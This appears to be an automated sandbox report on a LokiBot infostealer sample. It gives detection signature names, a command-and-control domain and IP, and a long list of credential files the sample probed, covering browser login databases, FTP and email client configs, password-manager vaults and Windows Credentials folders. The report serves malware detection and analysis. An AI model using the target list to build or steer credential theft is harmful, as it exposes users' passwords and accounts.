signature: ET MALWARE LokiBot User-Agent (Charon/Inferno)
signature: ET MALWARE LokiBot Request for C2 Commands Detected M2
signature: ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M2
signature: ET JA3 Hash - Possible Malware - Various Eitest
signature: ET MALWARE LokiBot Request for C2 Commands Detected M1
Creates Lokibot mutexes
mutex: 300134BE5A3EACE282B993B6

Screenshots


Hosts

Direct IP Country Name
Y 8.8.8.8 [VT] United States
Y 52.114.128.43 [VT] United States
N 185.207.38.108 [VT] Turkey
Y 1.1.1.1 [VT] Australia

DNS

Name Response Post-Analysis Lookup
admindepartment.ir [VT] A 185.207.38.108 [VT] 185.207.38.108 [VT]

Summary

C:\Users\Louise\AppData\Local\Temp\MjPYKNO80AdS.ENU
C:\Users\Louise\AppData\Local\Temp\MjPYKNO80AdS.ENU.DLL
C:\Users\Louise\AppData\Local\Temp\MjPYKNO80AdS.EN
C:\Users\Louise\AppData\Local\Temp\MjPYKNO80AdS.EN.DLL
C:\Users\Louise\AppData\Local\Temp\mozglue.dll
C:\Windows\System32\mozglue.dll
C:\Windows\system\mozglue.dll
C:\Windows\mozglue.dll
C:\Python27\mozglue.dll
C:\Python27\Scripts\mozglue.dll
C:\Windows\System32\wbem\mozglue.dll
C:\Windows\System32\WindowsPowerShell\v1.0\mozglue.dll
C:\ProgramData\chocolatey\bin\mozglue.dll
C:\Users\Louise\AppData\Local\Programs\Python\Python38-32\Scripts\mozglue.dll
C:\Users\Louise\AppData\Local\Programs\Python\Python38-32\mozglue.dll
C:\Users\Louise\AppData\Roaming\Python\Scripts\mozglue.dll
C:\Program Files (x86)\Mozilla Firefox\mozglue.dll
C:\Program Files (x86)\Mozilla Firefox\nss3.dll
C:\Users\Louise\AppData\Local\Temp\VERSION.dll
C:\Windows\System32\version.dll
C:\Users\Louise\AppData\Local\Temp\dbghelp.dll
C:\Windows\System32\dbghelp.dll
C:\Users\Louise\AppData\Local\Temp\MSVCP140.dll
C:\Windows\System32\msvcp140.dll
C:\Users\Louise\AppData\Local\Temp\VCRUNTIME140.dll
C:\Windows\System32\VCRUNTIME140.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-runtime-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-runtime-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\ucrtbase.DLL
C:\Windows\System32\ucrtbase.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-core-timezone-l1-1-0.dll
C:\Windows\System32\api-ms-win-core-timezone-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-core-file-l2-1-0.dll
C:\Windows\System32\api-ms-win-core-file-l2-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-core-localization-l1-2-0.dll
C:\Windows\System32\api-ms-win-core-localization-l1-2-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-core-processthreads-l1-1-1.dll
C:\Windows\System32\api-ms-win-core-processthreads-l1-1-1.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-core-file-l1-2-0.dll
C:\Windows\System32\api-ms-win-core-file-l1-2-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-string-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-string-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-heap-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-heap-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-stdio-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-stdio-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-convert-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-convert-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-locale-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-locale-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-math-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-math-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-multibyte-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-multibyte-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-time-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-time-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-filesystem-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-filesystem-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-environment-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-environment-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-utility-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-utility-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\WINMM.dll
C:\Windows\System32\winmm.dll
C:\Users\Louise\AppData\Local\Temp\WSOCK32.dll
C:\Windows\System32\wsock32.dll
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\profiles.ini
C:\Program Files (x86)\Mozilla Firefox\softokn3.dll
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\pkcs11.txt
C:\Program Files (x86)\Mozilla Firefox\freebl3.dll
C:\Windows\System32\api-ms-win-core-sysinfo-l1-2-1.DLL
C:\
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\cert9.db
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\cert9.db-journal
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\cert9.db-wal
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\key4.db
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\key4.db-journal
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\key4.db-wal
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\nssckbi.dll
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\signons.sqlite
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\logins.json
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\signons.txt
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\signons2.txt
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\signons3.txt
C:\Program Files\NETGATE\Black Hawk
C:\Program Files (x86)\Lunascape\Lunascape6\plugins\{9BDD5314-20A6-4d98-AB30-8325A95771EE}
C:\Users\Louise\AppData\Local\Comodo\Dragon\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Comodo\Dragon\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalComodo\Dragon\Login Data
C:\Users\Louise\AppData\LocalComodo\Dragon\Default\Login Data
C:\Users\Louise\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalMapleStudio\ChromePlus\Login Data
C:\Users\Louise\AppData\LocalMapleStudio\ChromePlus\Default\Login Data
C:\Users\Louise\AppData\Local\Google\Chrome\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Nichrome\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Nichrome\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalNichrome\Login Data
C:\Users\Louise\AppData\LocalNichrome\Default\Login Data
C:\Users\Louise\AppData\Local\RockMelt\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\RockMelt\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalRockMelt\Login Data
C:\Users\Louise\AppData\LocalRockMelt\Default\Login Data
C:\Users\Louise\AppData\Local\Spark\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Spark\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalSpark\Login Data
C:\Users\Louise\AppData\LocalSpark\Default\Login Data
C:\Users\Louise\AppData\Local\Chromium\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Chromium\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalChromium\Login Data
C:\Users\Louise\AppData\LocalChromium\Default\Login Data
C:\Users\Louise\AppData\Local\Titan Browser\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Titan Browser\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalTitan Browser\Login Data
C:\Users\Louise\AppData\LocalTitan Browser\Default\Login Data
C:\Users\Louise\AppData\Local\Torch\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Torch\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalTorch\Login Data
C:\Users\Louise\AppData\LocalTorch\Default\Login Data
C:\Users\Louise\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Yandex\YandexBrowser\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalYandex\YandexBrowser\Login Data
C:\Users\Louise\AppData\LocalYandex\YandexBrowser\Default\Login Data
C:\Users\Louise\AppData\Local\Epic Privacy Browser\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Epic Privacy Browser\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalEpic Privacy Browser\Login Data
C:\Users\Louise\AppData\LocalEpic Privacy Browser\Default\Login Data
C:\Users\Louise\AppData\Local\CocCoc\Browser\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\CocCoc\Browser\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalCocCoc\Browser\Login Data
C:\Users\Louise\AppData\LocalCocCoc\Browser\Default\Login Data
C:\Users\Louise\AppData\Local\Vivaldi\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Vivaldi\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalVivaldi\Login Data
C:\Users\Louise\AppData\LocalVivaldi\Default\Login Data
C:\Users\Louise\AppData\Local\Comodo\Chromodo\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Comodo\Chromodo\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalComodo\Chromodo\Login Data
C:\Users\Louise\AppData\LocalComodo\Chromodo\Default\Login Data
C:\Users\Louise\AppData\Local\Superbird\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Superbird\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalSuperbird\Login Data
C:\Users\Louise\AppData\LocalSuperbird\Default\Login Data
C:\Users\Louise\AppData\Local\Coowon\Coowon\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Coowon\Coowon\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalCoowon\Coowon\Login Data
C:\Users\Louise\AppData\LocalCoowon\Coowon\Default\Login Data
C:\Users\Louise\AppData\Local\Mustang Browser\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Mustang Browser\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalMustang Browser\Login Data
C:\Users\Louise\AppData\LocalMustang Browser\Default\Login Data
C:\Users\Louise\AppData\Local\360Browser\Browser\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\360Browser\Browser\User Data\Default\Web Data
C:\Users\Louise\AppData\Local360Browser\Browser\Login Data
C:\Users\Louise\AppData\Local360Browser\Browser\Default\Login Data
C:\Users\Louise\AppData\Local\CatalinaGroup\Citrio\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\CatalinaGroup\Citrio\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalCatalinaGroup\Citrio\Login Data
C:\Users\Louise\AppData\LocalCatalinaGroup\Citrio\Default\Login Data
C:\Users\Louise\AppData\Local\Google\Chrome SxS\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Google\Chrome SxS\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalGoogle\Chrome SxS\Login Data
C:\Users\Louise\AppData\LocalGoogle\Chrome SxS\Default\Login Data
C:\Users\Louise\AppData\Local\Orbitum\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Orbitum\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalOrbitum\Login Data
C:\Users\Louise\AppData\LocalOrbitum\Default\Login Data
C:\Users\Louise\AppData\Local\Iridium\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Iridium\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalIridium\Login Data
C:\Users\Louise\AppData\LocalIridium\Default\Login Data
C:\Users\Louise\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Login Data
C:\Users\Louise\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Web Data
C:\Users\Louise\AppData\Roaming\Opera\Opera Next\data\Login Data
C:\Users\Louise\AppData\Roaming\Opera\Opera Next\data\Default\Login Data
C:\Users\Louise\AppData\Roaming\Opera Software\Opera Stable\User Data\Default\Login Data
C:\Users\Louise\AppData\Roaming\Opera Software\Opera Stable\User Data\Default\Web Data
C:\Users\Louise\AppData\Roaming\Opera Software\Opera Stable\Login Data
C:\Users\Louise\AppData\Roaming\Opera Software\Opera Stable\Default\Login Data
C:\Users\Louise\AppData\Roaming\Fenrir Inc\Sleipnir\setting\modules\ChromiumViewer\User Data\Default\Login Data
C:\Users\Louise\AppData\Roaming\Fenrir Inc\Sleipnir\setting\modules\ChromiumViewer\User Data\Default\Web Data
C:\Users\Louise\AppData\Roaming\Fenrir Inc\Sleipnir\setting\modules\ChromiumViewer\Login Data
C:\Users\Louise\AppData\Roaming\Fenrir Inc\Sleipnir\setting\modules\ChromiumViewer\Default\Login Data
C:\Users\Louise\AppData\Roaming\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer\User Data\Default\Login Data
C:\Users\Louise\AppData\Roaming\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer\User Data\Default\Web Data
C:\Users\Louise\AppData\Roaming\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer\Login Data
C:\Users\Louise\AppData\Roaming\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer\Default\Login Data
C:\Users\Louise\AppData\Local\QupZilla\profiles\default\browsedata.db
C:\Users\Louise\AppData\Roaming\Opera
C:\Users\Louise\AppData\Roaming\.purple\accounts.xml
C:\Users\Louise\Documents\SuperPutty
C:\Program Files (x86)\FTPShell\ftpshell.fsi
C:\Users\Louise\AppData\Roaming\Notepad++\plugins\config\NppFTP\NppFTP.xml
C:\Program Files (x86)\oZone3D\MyFTP\myftp.ini
C:\Users\Louise\AppData\Roaming\FTPBox\profiles.conf
C:\Program Files (x86)\Sherrod Computers\sherrod FTP\favorites
C:\Program Files (x86)\FTP Now\sites.xml
C:\Program Files (x86)\NexusFile\userdata\ftpsite.ini
C:\Users\Louise\AppData\Roaming\NexusFile\ftpsite.ini
C:\Users\Louise\Documents\NetSarang\Xftp\Sessions
C:\Users\Louise\AppData\Roaming\NetSarang\Xftp\Sessions
C:\Program Files (x86)\EasyFTP\data
C:\Users\Louise\AppData\Roaming\SftpNetDrive
C:\Program Files (x86)\AbleFTP7\encPwd.jsd
C:\Program Files (x86)\AbleFTP7\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\AbleFTP7\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\AbleFTP8\encPwd.jsd
C:\Program Files (x86)\AbleFTP8\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\AbleFTP8\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\AbleFTP9\encPwd.jsd
C:\Program Files (x86)\AbleFTP9\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\AbleFTP9\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\AbleFTP10\encPwd.jsd
C:\Program Files (x86)\AbleFTP10\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\AbleFTP10\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\AbleFTP11\encPwd.jsd
C:\Program Files (x86)\AbleFTP11\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\AbleFTP11\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\AbleFTP12\encPwd.jsd
C:\Program Files (x86)\AbleFTP12\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\AbleFTP12\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\AbleFTP13\encPwd.jsd
C:\Program Files (x86)\AbleFTP13\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\AbleFTP13\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\AbleFTP14\encPwd.jsd
C:\Program Files (x86)\AbleFTP14\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\AbleFTP14\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\JaSFtp7\encPwd.jsd
C:\Program Files (x86)\JaSFtp7\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\JaSFtp7\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\JaSFtp8\encPwd.jsd
C:\Program Files (x86)\JaSFtp8\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\JaSFtp8\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\JaSFtp9\encPwd.jsd
C:\Program Files (x86)\JaSFtp9\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\JaSFtp9\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\JaSFtp10\encPwd.jsd
C:\Program Files (x86)\JaSFtp10\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\JaSFtp10\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\JaSFtp11\encPwd.jsd
C:\Program Files (x86)\JaSFtp11\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\JaSFtp11\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\JaSFtp12\encPwd.jsd
C:\Program Files (x86)\JaSFtp12\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\JaSFtp12\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\JaSFtp13\encPwd.jsd
C:\Program Files (x86)\JaSFtp13\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\JaSFtp13\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\JaSFtp14\encPwd.jsd
C:\Program Files (x86)\JaSFtp14\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\JaSFtp14\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\Automize7\encPwd.jsd
C:\Program Files (x86)\Automize7\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\Automize7\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\Automize8\encPwd.jsd
C:\Program Files (x86)\Automize8\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\Automize8\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\Automize9\encPwd.jsd
C:\Program Files (x86)\Automize9\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\Automize9\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\Automize10\encPwd.jsd
C:\Program Files (x86)\Automize10\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\Automize10\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\Automize11\encPwd.jsd
C:\Program Files (x86)\Automize11\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\Automize11\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\Automize12\encPwd.jsd
C:\Program Files (x86)\Automize12\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\Automize12\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\Automize13\encPwd.jsd
C:\Program Files (x86)\Automize13\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\Automize13\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\Automize14\encPwd.jsd
C:\Program Files (x86)\Automize14\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\Automize14\data\settings\ftpProfiles-j.jsd
C:\Users\Louise\AppData\Roaming\Cyberduck
C:\Users\Louise\AppData\Roaming\iterate_GmbH
C:\Users\Louise\.config\fullsync\profiles.xml
C:\Users\Louise\AppData\Roaming\FTPInfo\ServerList.xml
C:\Users\Louise\AppData\Roaming\FTPInfo\ServerList.cfg
C:\Program Files (x86)\FileZilla\Filezilla.xml
C:\Users\Louise\AppData\Roaming\FileZilla\filezilla.xml
C:\Users\Louise\AppData\Roaming\FileZilla\recentservers.xml
C:\Users\Louise\AppData\Roaming\FileZilla\sitemanager.xml
C:\Program Files (x86)\Staff-FTP\sites.ini
C:\Users\Louise\AppData\Roaming\BlazeFtp\site.dat
C:\Program Files (x86)\Fastream NETFile\My FTP Links
C:\Program Files (x86)\GoFTP\settings\Connections.txt
C:\Users\Louise\AppData\Roaming\Estsoft\ALFTP\ESTdb2.dat
C:\Program Files (x86)\DeluxeFTP\sites.xml
C:\Windows\wcx_ftp.ini
C:\Users\Louise\AppData\Roaming\wcx_ftp.ini
C:\Users\Louise\wcx_ftp.ini
C:\Users\Louise\AppData\Roaming\GHISLER\wcx_ftp.ini
C:\Program Files (x86)\FTPGetter\Profile\servers.xml
C:\Users\Louise\AppData\Roaming\FTPGetter\servers.xml
C:\Program Files (x86)\WS_FTP\WS_FTP.INI
C:\Windows\WS_FTP.INI
C:\Users\Louise\AppData\Roaming\Ipswitch
C:\Users\Louise\site.xml
C:\Users\Louise\AppData\Local\PokerStars*
C:\Users\Louise\AppData\Local\ExpanDrive
C:\Users\Louise\AppData\Roaming\Steed\bookmarks.txt
C:\Users\Louise\AppData\Roaming\FlashFXP
C:\ProgramData\FlashFXP
C:\Users\Louise\AppData\Local\INSoftware\NovaFTP\NovaFTP.db
C:\Users\Louise\AppData\Roaming\NetDrive\NDSites.ini
C:\Users\Louise\AppData\Roaming\NetDrive2\drives.dat
C:\ProgramData\NetDrive2\drives.dat
C:\Users\Louise\AppData\Roaming\SmartFTP
C:\Users\Louise\AppData\Roaming\Far Manager\Profile\PluginsData\42E4AEB1-A230-44F4-B33C-F195BB654931.db
C:\Users\Louise\Documents\*.tlp
C:\Users\Louise\Documents\*.bscp
C:\Users\Louise\Documents\*.vnc
C:\Users\Louise\Desktop\*.vnc
C:\Users\Louise\Documents\mSecure
C:\ProgramData\Syncovery
C:\Program Files (x86)\FreshWebmaster\FreshFTP\FtpSites.SMF
C:\Users\Louise\AppData\Roaming\BitKinex\bitkinex.ds
C:\Users\Louise\AppData\Roaming\UltraFXP\sites.xml
C:\Users\Louise\AppData\Roaming\FTP Now\sites.xml
C:\Program Files (x86)\Odin Secure FTP Expert\QFDefault.QFQ
C:\Program Files (x86)\Odin Secure FTP Expert\SiteInfo.QFP
C:\Program Files (x86)\Mozilla Thunderbird
C:\Program Files (x86)\Mozilla Thunderbird\nss3.dll
C:\Program Files (x86)\Mozilla Thunderbird\mozglue.dll
C:\Program Files (x86)\Mozilla Thunderbird\sqlite3.dll
C:\Program Files (x86)\Mozilla Thunderbird\mozsqlite3.dll
C:\Users\Louise\AppData\Roaming\Thunderbird\profiles.ini
C:\Program Files (x86)\Foxmail\mail
C:\Foxmail*
C:\Users\Louise\AppData\Roaming\Pocomail\accounts.ini
C:\Users\Louise\Documents\Pocomail\accounts.ini
C:\Users\Louise\AppData\Roaming\GmailNotifierPro\ConfigData.xml
C:\Users\Louise\AppData\Roaming\DeskSoft\CheckMail
C:\Program Files (x86)\WinFtp Client\Favorites.dat
C:\Windows\32BitFtp.TMP
C:\Windows\32BitFtp.ini
C:\FTP Navigator\Ftplist.txt
C:\Softwarenetz\Mailing\Daten\mailing.vdt
C:\Users\Louise\AppData\Roaming\Opera Mail\Opera Mail\wand.dat
C:\Users\Louise\Documents\*Mailbox.ini
C:\Users\Louise\Documents\yMail2\POP3.xml
C:\Users\Louise\Documents\yMail2\SMTP.xml
C:\Users\Louise\Documents\yMail2\Accounts.xml
C:\Users\Louise\Documents\yMail\ymail.ini
C:\Users\Louise\AppData\Roaming\TrulyMail\Data\Settings\user.config
C:\Users\Louise\Documents\*.spn
C:\Users\Louise\Desktop\*.spn
C:\Users\Louise\AppData\Roaming\To-Do DeskList\tasks.db
C:\Users\Louise\AppData\Roaming\stickies\images
C:\Users\Louise\AppData\Roaming\stickies\rtf
C:\Users\Louise\AppData\Roaming\NoteFly\notes
C:\Users\Louise\AppData\Roaming\Conceptworld\Notezilla\Notes8.db
C:\Users\Louise\AppData\Roaming\Microsoft\Sticky Notes\StickyNotes.snt
C:\Users\Louise\Documents
C:\Users\Louise\Documents\*.kdbx
C:\Users\Louise\Desktop
C:\Users\Louise\Desktop\*.kdbx
C:\Users\Louise\Documents\*.kdb
C:\Users\Louise\Desktop\*.kdb
C:\Users\Louise\Documents\Enpass
C:\Users\Louise\Documents\My RoboForm Data
C:\Users\Louise\Documents\1Password
C:\Users\Louise\AppData\Local\Temp\Mikrotik\Winbox
C:\Users\Louise\AppData\Local\Temp\NETAPI32.DLL
C:\Windows\System32\netapi32.dll
C:\Users\Louise\AppData\Local\Temp\netutils.dll
C:\Windows\System32\netutils.dll
C:\Users\Louise\AppData\Local\Temp\srvcli.dll
C:\Windows\System32\srvcli.dll
C:\Users\Louise\AppData\Roaming\E5A3EA
C:\Users\Louise\AppData\Roaming\E5A3EA\ACE282.lck
C:\Users\Louise\AppData\Roaming\Microsoft\Credentials
C:\Users\Louise\AppData\Roaming\Microsoft\Credentials\*
C:\Users\Louise\AppData\Local\Microsoft\Credentials
C:\Users\Louise\AppData\Local\Microsoft\Credentials\*
C:\Users\Louise\AppData\Local\Temp\mjpykno80ads.exe
C:\Users\Louise\AppData\Roaming\E5A3EA\ACE282.exe
C:\Windows\Temp
C:\Windows\sysnative\LogFiles\Scm\eaca24ff-236c-401d-a1e7-b3d5267b8a50
C:\Program Files (x86)\Mozilla Firefox\mozglue.dll
C:\Program Files (x86)\Mozilla Firefox\nss3.dll
C:\Windows\System32\version.dll
C:\Windows\System32\dbghelp.dll
C:\Windows\System32\msvcp140.dll
C:\Windows\System32\VCRUNTIME140.dll
C:\Windows\System32\api-ms-win-crt-runtime-l1-1-0.dll
C:\Windows\System32\ucrtbase.dll
C:\Windows\System32\api-ms-win-core-timezone-l1-1-0.dll
C:\Windows\System32\api-ms-win-core-file-l2-1-0.dll
C:\Windows\System32\api-ms-win-core-localization-l1-2-0.dll
C:\Windows\System32\api-ms-win-core-processthreads-l1-1-1.dll
C:\Windows\System32\api-ms-win-core-file-l1-2-0.dll
C:\Windows\System32\api-ms-win-crt-string-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-heap-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-stdio-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-convert-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-locale-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-math-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-multibyte-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-time-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-filesystem-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-environment-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-utility-l1-1-0.dll
C:\Windows\System32\winmm.dll
C:\Windows\System32\wsock32.dll
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\profiles.ini
C:\Program Files (x86)\Mozilla Firefox\softokn3.dll
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\pkcs11.txt
C:\Program Files (x86)\Mozilla Firefox\freebl3.dll
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\cert9.db
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\key4.db
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\logins.json
C:\Users\Louise\AppData\Local\Google\Chrome\User Data\Default\Login Data
C:\Program Files (x86)\Mozilla Thunderbird\nss3.dll
C:\Program Files (x86)\Mozilla Thunderbird\mozglue.dll
C:\Windows\System32\netapi32.dll
C:\Windows\System32\netutils.dll
C:\Windows\System32\srvcli.dll
C:\Users\Louise\AppData\Roaming\E5A3EA\ACE282.lck
C:\Windows\sysnative\LogFiles\Scm\eaca24ff-236c-401d-a1e7-b3d5267b8a50
C:\Users\Louise\AppData\Roaming\E5A3EA\ACE282.lck
C:\Users\Louise\AppData\Roaming\E5A3EA\ACE282.exe
C:\Users\Louise\AppData\Roaming\E5A3EA\ACE282.lck
C:\Users\Louise\AppData\Local\Temp\mjpykno80ads.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT
HKEY_CURRENT_USER
DisableUserModeCallbackFilter
HKEY_CURRENT_USER\Software\Borland\Locales
HKEY_LOCAL_MACHINE\Software\Borland\Locales
HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
